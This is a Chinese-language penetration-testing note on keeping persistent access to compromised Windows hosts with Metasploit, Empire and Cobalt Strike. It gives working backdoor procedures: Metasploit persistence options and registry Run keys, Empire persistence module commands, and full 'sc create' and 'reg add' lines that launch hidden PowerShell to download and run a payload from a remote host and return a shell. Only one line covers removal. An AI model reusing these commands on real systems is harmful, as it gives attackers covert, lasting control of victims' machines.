三大滲透框架權限維持
- 2019 年 10 月 4 日
- 筆記
在滲透測試中,有三個非常經典的滲透測試框架–Metasploit、Empire、Cobalt Strike。
那麼,通過漏洞獲取到目標主機權限後,如何利用滲透框架獲得持久性權限呢?
0x01 MSF權限維持
使用MSF維持權限的前提是先獲得一個meterpreter shell,通過meterpreter shell獲取持久性shell的方法有兩種:
Persistence模塊
通過啟動項啟動(persistence)的方式,在目標機器上以反彈回連。

-U:設置後門在用戶登錄後自啟動。該方式會在HKCUSoftwareMicrosoftWindowsCurrentVersionRun下添加註冊表信息。推薦使用該參數;-X:設置後門在系統啟動後自啟動。該方式會在HKLMSoftwareMicrosoftWindowsCurrentVersionRun下添加註冊表信息。由於權限問題,會導致添加失敗,後門將無法啟動。-S:作為服務自動啟動代理程序(具有SYSTEM權限)
生成的相關文件位置 :
# 後門文件位置: C:WindowsTemp C:UsersAdministratorAppDataLocalTemp# 註冊表位置: HKCUSoftwareMicrosoftWindowsCurrentVersionRun HKLMSoftwareMicrosoftWindowsCurrentVersionRun

Metsvc 模塊
通過服務(metsvc)啟動的方式,在目標機器啟動後自啟動一個服務,等待連接。

目標主機上開啟了一個Meterpreter服務。

0x02 Empire 權限維持
Empire的persistence模塊提供了18種權限維持的方法,大致可以分為四類,即

elevated(管理權限) |
misc(雜項) |
powerbreach(內存維持) |
userland(用戶權限) |
---|---|---|---|
registry* |
add_netuser |
deaduser |
backdoor_lnk |
schtasks* |
add_sid_history* |
eventlog* |
registry |
wmi* |
debugger* |
resolver |
schtasks |
wmi_updater* |
disable_machine_acct_change* |
|
|
|
get_ssps |
|
|
|
install_ssp* |
|
|
|
memssp* |
|
|
|
skeleton_key* |
|
|
註冊表
(Empire: agents) > agents(Empire: agents) > interact URL3FZBV(Empire: URL3FZBV) > usemodule persistence/elevated/registry*(Empire: powershell/persistence/elevated/registry) > set Listener test(Empire: powershell/persistence/elevated/registry) > execute

因為是開機啟動,所以會彈個黑框,之後還會彈出註冊表添加的powershell啟動項的框,在註冊表位置如下:

計劃任務
(Empire: agents) > interact 9NZ2RWBC(Empire: 9NZ2RWBC) > usemodule persistence/elevated/schtasks*(Empire: powershell/persistence/elevated/schtasks) > set Listener test(Empire: powershell/persistence/elevated/schtasks) > set DailyTime 22:50(Empire: powershell/persistence/elevated/schtasks) > execute

在任務計劃程序庫可以看到-任務為Updater-啟動程序如下可以到為powershell

wmi
(Empire: agents) > interact 9NZ2RWBC(Empire: 9NZ2RWBC) > usemodule persistence/elevated/wmi(Empire: powershell/persistence/elevated/wmi) > set Listener test(Empire: powershell/persistence/elevated/wmi) > run

如何清除後門,最簡單的方法就是使用Autoruns,選擇WMI選項卡,右鍵就可以刪除惡意後門。

0x03 Cobalt Strike權限維持
通過Cobalt Strike拿到一個shell,留後門的方法有很多,下面介紹兩種比較常見的無文件、自啟動後門。
從Cobalt Strike菜單欄,Attacks–Web Drive-by–Scaripted Web Delivery,生成powershell後門。

根據需要可以自己選擇,填寫所需參數默認端口是80(需要注意的就是不要使用重複端口),Type選擇powershell。

點擊Launch後,返回powershell遠程下載執行命令。

服務自啟動後門
sc create "Name" binpath= "cmd /c start powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.28.142:8080/a'))""sc description Name "Just For Test" //設置服務的描述字符串sc config Name start= auto //設置這個服務為自動啟動net start Name //啟動服務
重啟服務器後,成功返回一個shell。

註冊表自啟動
在windows啟動項註冊表裏面添加一個木馬程序路徑,如:
beacon>getsystembeacon>shell reg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun /v "Keyname" /t REG_SZ /d "C:WindowsSystem32WindowsPowerShellv1.0powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.28.142:8080/a'))"" /f

賬號註銷後,重新登錄,界面上會出現powershell快速閃過消失,成功返回shell。

註冊表還有哪些鍵值可以設置為自啟動:
HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunHKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunHKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon